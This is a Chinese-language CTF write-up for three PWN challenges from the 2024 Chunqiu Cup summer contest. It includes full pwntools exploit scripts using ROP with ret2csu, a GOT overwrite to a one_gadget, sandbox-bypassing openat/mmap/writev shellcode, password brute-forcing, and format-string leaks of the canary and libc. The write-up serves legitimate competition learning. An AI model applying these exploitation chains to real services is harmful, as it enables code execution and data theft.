2024春秋杯网络安全联赛夏季赛-PWN
文章目录
- stdout
- 测试
- setvbuf(stdout, 0LL, 2, 0LL)绕过
- 或者输出直到缓冲区满
- 使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
- 参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4)
- 思路
- exp
- shuffle
- exp
- savetheprincess
- pread
- 参数说明
- 返回值
- 示例代码
- exp
stdout


溢出返回到vuln

然后rop

测试
#include <stdio.h>
#include <stdlib.h>int main() {//setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);printf("ouput2.\n");return 0;
}

取消掉注释后

setvbuf(stdout, 0LL, 2, 0LL)绕过
#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);setvbuf(stdout, 0LL, 2, 0LL);printf("ouput2.\n");gets(a);return 0;
}
执行 setvbuf(stdout, 0LL, 2, 0LL);可以看到之前的在缓冲区的上的已经输出

或者输出直到缓冲区满
使用system(“/bin/sh”)或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);//setvbuf(stdout, 0LL, 2, 0LL);system("/bin/sh");gets(a);return 0;
}

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)();
func_ptr onegadget;int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");char* put_addr=&puts;onegadget=put_addr-0x84420+0xe3afe;asm("mov r12,0");printf("%p",put_addr);//setvbuf(stdout, 0LL, 2, 0LL);onegadget();//system("/bin/sh");return 0;
}
发现可行

参考https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4
显式调用fflush函数
流被关闭(调用fclose)
程序正常结束(调用exit)
思路
gadget不够,用csu里的,通过rop的一个特殊gadget修改got表,然后利用gadget满足onegadget的条件,最后调用覆盖got表

exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
# gdb.attach(p,"b main")
# pause()elf=ELF("./pwn")ret_addr=0x000000000040125D
stdout=0x0000000000404070
csu=0x00000000004013CA
setvbuf=elf.plt["setvbuf"]
read=elf.got["read"]
put=elf.plt["puts"]
print(hex(read))
rbp=8*b"\xff"
payload=b"a"*0x50+rbp+p64(ret_addr)
p.sendline(payload)
#payload=b"a"*0x1f+rbp+p64(csu)+p64(1)+p64(2)+p64(stdout)+p64(0)+p64(0)+p64(0)+p64(0x00000000004013B0 ) +p64(2)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(setvbuf)
# .text:00000000004013B0 mov rdx, r14
# .text:00000000004013B3 mov rsi, r13
# .text:00000000004013B6 mov edi, r12d
# .text:00000000004013B9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD add rbx, 1
# .text:00000000004013C1 cmp rbp, rbx
# .text:00000000004013C4 jnz short loc_4013B0
# .text:00000000004013CA pop rbx
# .text:00000000004013CB pop rbp
# .text:00000000004013CC pop r12
# .text:00000000004013CE pop r13
# .text:00000000004013D0 pop r14
# .text:00000000004013D2 pop r15
# .text:00000000004013D4 retn# 0x00000000004011fc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
#extent + csu
payload=b"a"*0x1f+rbp+p64(0x0000000000401287)+p64(csu)+ p64(0x5f6e4-6)+p64(0x0000000000404018+0x3d)+p64(0)+p64(0)+p64(0)+p64(0) +p64(0x00000000004011fc ) +p64(0x0000000000401287)
p.sendline(payload)p.interactive()

shuffle


使用openat,mmap,writev读Flag或者openat preadv2 writev等等


零字节绕过shuffle(零字节之前不为零的不能超过一个即可)
然后写入shellcode即可(没有栈,通过mmap分配的内容作为栈,进而存储字符串和iovec这个结构体)
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()shellcode = '''mov eax,0 ''' #寄存器都被设置为零 push 0出现段错误
# shellcode += shellcraft.openat(0xffffff9c,"flag",0)#openat(AT_FDCWD,"flag",O_RDONLY)
# shellcode +=shellcraft.mmap(0,0x100,1, 1,3,0) #mmap(0,0x100,PROT_READ, MAP_SHARED,3,0)
# shellcode +=shellcraft.writev(1,'rax',0x100)
# 0x1337000: mov rax,0x0
# => 0x1337007: push 0x67616c66
# 0x133700c: mov rsi,rsp
# 0x133700f: mov edi,0xffffff9c
# 0x1337014: xor edx,edx
# 0x1337016: xor eax,eax
# 0x1337018: mov ax,0x101
# 0x133701c: syscall
# 0x133701e: push 0x1
# 0x1337020: pop r10
# 0x1337022: push 0x3
# 0x1337024: pop r8
# 0x1337026: xor r9d,r9d
# 0x1337029: xor edi,edi
# 0x133702b: mov esi,0x1010201
# 0x1337030: xor esi,0x1010301
# 0x1337036: mov rdx,r10
# 0x1337039: push 0x9
# 0x133703b: pop rax
# 0x133703c: syscall
# 0x133703e: push 0x1
# 0x1337040: pop rdi
# 0x1337041: xor edx,edx
# 0x1337043: mov dh,0x1
# 0x1337045: mov rsi,rax
# 0x1337048: push 0x14
# 0x133704a: pop rax
# 0x133704b: syscall shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66mov edi, 0xffffff9c
mov rsi, rsp
xor edx,edx
xor eax,eax
mov ax,0x101
syscall
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscallpush 0x20
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
p.interactive()
测试的如下,对照着写shellcode就行了
#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main()
{int fd = openat(AT_FDCWD,"flag",O_RDONLY);if(fd==-1){printf("openat error!");}char*addr=mmap(0,0x100,PROT_READ, MAP_SHARED,fd,0);char*addr_=mmap(NULL, 0x10, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);write(1,addr,0x100);struct iovec iov;char str[] = "Hello ";// 准备 iovec 结构体iov.iov_base = str;iov.iov_len = strlen(str);// 使用 writev() 写入数据ssize_t n = writev(1, &iov, 1);return 0;
}

savetheprincess


openat+pread+write绕过





没有时间限制,也没有次数限制,可以爆破,26*7次,然后触发格式化字符串泄露canary和libc地址,然后溢出rop绕过沙箱

填充满buf,当输出buf时也会输出i从而判断是否i递增进而判断是否爆破该位正确

找不到控制第六个参数的gadget,mmap改成pread或者mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag
pread不能从终端输入,只能在之前加个泄露栈地址,然后flag名放栈上了
pread
pread() 函数在 Linux 和类 Unix 系统中用于从文件描述符指定的文件中读取数据,但与普通的 read() 函数不同,pread() 允许你指定从文件的哪个偏移量开始读取数据
pread() 的原型如下:
#include <unistd.h>ssize_t pread(int fd, void *buf, size_t count, off_t offset);
参数说明
fd: 文件描述符,指向要从中读取数据的文件。buf: 指向缓冲区的指针,读取的数据将被存放到这个缓冲区中。count: 要读取的字节数。offset: 读取操作的起点偏移量,相对于文件的开始位置,单位是字节。
返回值
pread() 返回实际读取的字节数。如果读取失败,函数将返回 -1 并设置 errno 变量来指示错误原因。
示例代码
下面是一个使用 pread() 的示例代码:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>int main(void) {int fd;char buffer[100];off_t offset = 100; // 从文件的第100字节开始读取ssize_t bytes_read;// 打开文件fd = open("testfile.txt", O_RDONLY);if (fd == -1) {perror("open");exit(EXIT_FAILURE);}// 使用 pread 从文件的特定位置读取数据bytes_read = pread(fd, buffer, sizeof(buffer), offset);if (bytes_read == -1) {perror("pread");close(fd);exit(EXIT_FAILURE);}// 输出读取的数据buffer[bytes_read] = '\0'; // 确保字符串以 null 字符终止printf("Read %ld bytes: %s\n", bytes_read, buffer);// 关闭文件描述符close(fd);return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
lib = ELF('./libc.so.6')
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()password=""
for i in range(8):for j in range(26):p.sendlineafter(b"> \n",str(1))pwd=passwordpwd+=chr(ord("a")+j )p.sendafter(b"please input your password: \n",pwd.ljust(10,"a"))result=p.recvuntil(b"!!!\n",drop=True)print(pwd," ",result)print(i+1," ",result)if b"successfully" in result:password=pwdprint("suceessful")payload=b"%9$p%11$p%10$p%15$p" # canary pie libcp.send(payload)breakif i+1 in result:password=pwdprint("right")breakprint("error")canary=int(p.recv(18),16)
pie=int(p.recv(14),16)-0x17be
stack=int(p.recv(14),16)+0xa8+0x10
libc=int(p.recv(14),16)-0x29d90
openat_add=lib.sym["openat"]+libc
pread_add=lib.sym["pread64"]+libc
write_add=lib.sym["write"]+libc
print(hex(canary),hex(pie),hex(libc))
p.sendlineafter(b"> \n",str(2))pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f2e7
pop_r10=pie+0x00000000000017d5
pop_r8_mov_rax_1=libc+0x00000000001659e6
pop_rax=libc+0x0000000000045eb0
syscall=libc+0x0000000000029db4
pop_rdx=libc+0x000000000003d1eepayload=56*b"a"+p64(canary)+p64(0)+p64(pop_rdi) +p64(0xffffffffffffff9c)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(openat_add)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(pop_rdx)+p64(0)+p64(pread_add)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(write_add)
payload+=b"flag\x00"
p.sendlineafter(b"Attack the dragon!!\n",payload)
p.interactive()

相关文章:
2024春秋杯网络安全联赛夏季赛-PWN
文章目录 stdout测试setvbuf(stdout, 0LL, 2, 0LL)绕过或者输出直到缓冲区满使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https…...
怎么提高音频声音大小?提高音频声音大小的四种方法
怎么提高音频声音大小?在音频处理和编辑中,增加声音的音量是一个常见的需求,尤其是在确保音频清晰度和听觉效果的同时。调整音频的音量不仅仅是简单地提高音频的响度,它也涉及到如何保持音质的高标准,确保没有失真或削…...
从数据仓库到数据湖(下):热门的数据湖开源框架
文章目录 一、前言二、Delta Lake三、Apache Hudi四、Apache Iceberg五、Apache Paimon六、对比七、笔者观点八、总结九、参考资料 一、前言 在上一篇从数据仓库到数据湖(上):数据湖导论文章中,我们简单讲述了数据湖的起源、使用原因及其本质。本篇文章…...
对话AI原生 | 千帆AppBuilder重构企业AI原生应用开发体验
人工智能和大模型正在引领当前最重要的科技创新趋势。在过去的一年中,行业关注点已从大模型研发转向实际应用,正成为推动创新和转型的关键力量。百度智能云千帆AppBuilder作为基于大模型的企业级AI原生应用开发工作台,支持应用的快速开发和发…...
CF253C Text Editor 题解
思路 既然要求最少步数,那我们可以用bfs 如果鼠标的位置比上一行的行末位置大,如果按上的话,移到上一行的行末。如果鼠标的位置比下一行的行末位置大,如果按下的话,移到下一行的行末。 注意当鼠标位置超过当前行最大…...
Spring Boot 创建定时任务
在现代应用程序开发中,定时任务是一个常见的需求。Spring Boot作为一个强大的框架,提供了简单易用的定时任务调度功能。本文将详细介绍如何在Spring Boot中创建和管理定时任务,并提供完整的代码示例。 1. 什么是定时任务 定时任务是指在预定…...
Vue使用Echarts(入门级)
最终效果: npm install echarts --save // 先安装echarts<template><!-- 创建一个dom区域用于挂载echarts图表 --><div id"chart" style"width: 600px;height:500px;"/> </template> <script> import * as ech…...
2025届秋招提前批信息汇总(计算机类)
私企篇 深信服 链接:https://app.mokahr.com/campus_apply/sangfor/27944#/home内推码:NTAHRFS截止时间:6月21日 TP-LINK 链接:https://hr.tp-link.com.cn/jobList?jobId107&jobDirection0&workPlace0¤tPa…...
Scala Collection(集合)
Scala Collection(集合) Scala集合库是Scala语言的核心特性之一,它提供了一套丰富的数据结构来存储、管理和操作数据。Scala集合分为可变(mutable)和不可变(immutable)两种类型,每种类型都有其特定的用途和优势。本文将详细介绍Scala集合库的基本概念、常用集合类型以及…...
Go 语言 UUID 库 google/uuid 源码解析:UUID version4 的实现
google/uuid 库地址 本文将解析 googl/uuid 库中 UUID 变体10版本4的实现。 版本 4 的 UUID 采取完全随机的方式实现,简单来说就是将 UUID 中的 122 位全部随机填充(剩余的 6 位作标记位)。版本 4 的 UUID 存在一定的重复风险,但…...
开发个人Go-ChatGPT--6 OpenUI
开发个人Go-ChatGPT–6 OpenUI Open-webui Open WebUI 是一种可扩展、功能丰富且用户友好的自托管 WebUI,旨在完全离线运行。它支持各种 LLM 运行器,包括 Ollama 和 OpenAI 兼容的 API。 功能 由于总所周知的原由,OpenAI 的接口需要密钥才…...
Spring中的工厂模式详解及应用示例
1. Spring中的BeanFactory BeanFactory是一个接口,表示它是一个工厂,负责生产和管理bean。在Spring中,BeanFactory是IOC容器的核心接口,定义了管理Bean的通用方法,如 getBean 和 containsBean。 BeanFactory与IOC容器…...
Electron 简单搭建项目
准备工作 全局安装 node npm创建文件夹,并执行 npm init安装 electron npm i electron --save-dev在 package.json 配置文件中的scripts字段下增加一条start命令: {"scripts": {"start": "electron ."} }由于配置中的入…...
旗晟智能巡检机器人:开启工业运维的智能化新篇章
在当今快速发展的工业领域,安全、效率和成本控制是企业运营的核心。旗晟科技以创新为驱动,推出了一站式的工业级智能巡检机器人数字化全景运维解决方案,为石油、天然气、化工、电力等高危行业提供了一个全新的运维模式。 一、面对挑战&#x…...
vue3的常用 Composition API有哪些?
Vue.js 3.0 引入了 Composition API,作为一种新的组织组件逻辑的方式,相比于传统的 Options API,Composition API 提供了更灵活、更可复用的代码组织方式。 以下是 Vue 3.0 中常用的 Composition API:setup() 函数: s…...
深度优先算法-DFS(算法篇)
算法之深度优先算法 深度优先算法(DFS) 概念: 深度优先算法(DFS)跟BFS算法一样是用于遍历图的算法,但是DFS并不像BFS算法一样,它搜索出来的路径不具有最短性,并且dfs算法类似于枚举,因此DFS算法一般用于求出问题的所…...
C++模块化之内部类
目录 1.引言 2.内部类的访问控制 3.优缺点分析 4.实际运用 4.1.实现复杂数据结构 4.2.封装细节实现 4.3.事件处理和回调 4.4.模板元编程辅助类 4.5. 访问控制和封装 4.6. 代码组织和模块化 5.总结 1.引言 在C中,内部类(Nested Classÿ…...
k8s-第九节-命名空间
命名空间 如果一个集群中部署了多个应用,所有应用都在一起,就不太好管理,也可以导致名字冲突等。 我们可以使用 namespace 把应用划分到不同的命名空间,跟代码里的 namespace 是一个概念,只是为了划分空间。 # 创建命…...
【AI大模型新型智算中心技术体系深度分析 2024】
文末有福利! ChatGPT 系 列 大 模 型 的 发 布, 不 仅 引 爆 全 球 科 技 圈, 更 加 夯 实 了 人 工 智 能(Artificial Intelligence, AI)在未来改变人类生产生活方式、引发社会文明和竞争力代际跃迁的战略性地位。当…...
王道计算机数据结构+插入排序、冒泡排序、希尔排序、快速排序、简单选择排序
本内容是基于王道计算机数据结构的插入排序、冒泡排序、希尔排序、快速排序、简单选择排序整理。 文章目录 插入排序算法性能代码 冒泡排序算法性能代码 希尔排序算法性能代码 快速排序算法性能代码 简单选择排序算法性能代码 插入排序 算法 算法思想:每次将一个…...
Burp插件进阶:Logger++日志管理与CSRF Token Tracker自动化测试实战
1. Burp插件环境配置与基础准备 在开始使用Logger和CSRF Token Tracker之前,我们需要先搭建好Burp Suite的插件运行环境。Burp支持Java、Python和Ruby三种语言编写的插件,但后两者需要额外配置。 对于Python插件,建议下载Standalone Jar版本。…...
Cursor AI 编程助手配置优化:一键安装与自定义指南
1. 项目概述:为什么需要一套现成的 Cursor 配置?如果你和我一样,是 Cursor 的重度用户,那么你肯定经历过这样的阶段:刚上手时,觉得这个 AI 驱动的 IDE 简直是神器,但随着项目越来越复杂…...
GPU内核优化技术:R3框架原理与实践
1. GPU内核优化基础与挑战在HPC和科学计算领域,GPU内核优化是提升计算效率的核心技术。内核(Kernel)作为GPU上执行的基本计算单元,其性能直接影响整个应用的运行时间。典型的优化手段包括循环展开、内存访问优化、指令级并行等&am…...
苹果W1芯片如何通过低功耗无线技术重塑TWS耳机体验
1. 无线音频的功耗困局与苹果的破局思路 2016年9月,当苹果在发布会上首次亮出那对剪掉线缆的AirPods时,整个消费电子行业都在问同一个问题:它是怎么做到的?更具体地说,它如何解决了无线耳机领域最核心、也最令人头疼的…...
HFSS与CST互导实战:5分钟搞定模型转换与数据对比(以微带天线为例)
HFSS与CST互导实战:微带天线模型转换与数据对比指南 在射频工程领域,HFSS和CST作为两大主流电磁仿真工具各有优势。实际项目中经常需要在这两个平台间迁移模型并对比结果,以确保仿真可靠性。本文将手把手演示如何高效完成模型互导与数据验证。…...
大模型长文档理解新拐点已至(2026年Claude专项能力解密):支持128K上下文+动态摘要锚点+引用溯源追踪
更多请点击: https://intelliparadigm.com 第一章:大模型长文档理解新拐点已至:Claude 2026能力演进全景图 随着长上下文窗口突破200万token、原生支持跨页语义锚定与结构化元数据感知,Claude 2026标志着大模型对长文档的理解正式…...
别再死记硬背了!Vivado伪双口RAM的wea/ena信号,这次用仿真波形给你讲透
深入解析Vivado伪双口RAM控制信号:从波形图看wea/ena关键设计 在FPGA开发中,存储器设计一直是性能优化的关键环节。Xilinx Vivado工具链提供的伪双口RAM IP核因其灵活性和高效性,成为许多高速数据处理系统的首选方案。然而,不少开…...
别再只调API了!微信支付Native/JSAPI开发中,订单号生成与回调处理的5个实战避坑点
微信支付开发实战:订单与回调的五个关键陷阱与解决方案 在移动支付领域,微信支付作为主流平台之一,其开发文档看似详尽,但实际落地时仍存在诸多"暗坑"。许多开发者过度关注支付接口调用本身,却忽视了订单生成…...
菜单栏管理革命:Ice 如何用智能算法重塑 macOS 效率界面
菜单栏管理革命:Ice 如何用智能算法重塑 macOS 效率界面 【免费下载链接】Ice Powerful menu bar manager for macOS 项目地址: https://gitcode.com/GitHub_Trending/ice/Ice 当 macOS 菜单栏成为现代工作流的瓶颈时,Ice 以开源解决方案的身份出…...
告别并行接口:手把手教你用Stm32F4的SPI高效读取AD7606八通道数据
告别并行接口:手把手教你用Stm32F4的SPI高效读取AD7606八通道数据 在嵌入式系统设计中,AD7606作为一款高性能八通道16位ADC芯片,常被用于电力监测、工业控制等需要多通道高精度采样的场景。传统方案往往依赖其并行接口实现数据读取ÿ…...
